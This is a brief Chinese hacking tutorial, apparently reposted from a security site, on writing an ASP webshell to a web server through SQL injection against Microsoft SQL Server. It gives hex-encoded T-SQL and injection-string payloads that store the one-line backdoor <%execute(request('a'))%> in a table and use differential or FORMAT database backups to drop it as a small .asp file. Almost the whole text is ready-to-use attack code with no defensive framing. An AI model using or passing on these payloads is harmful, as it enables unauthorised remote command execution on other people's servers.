减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份

加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT

加一个参数WITH FROMAT

有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

1

id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2

id=1;backup database model to disk='你的路径‘ with differential,format;--

转自：http://www.webxiaoz.cn/article/experience/655.htm

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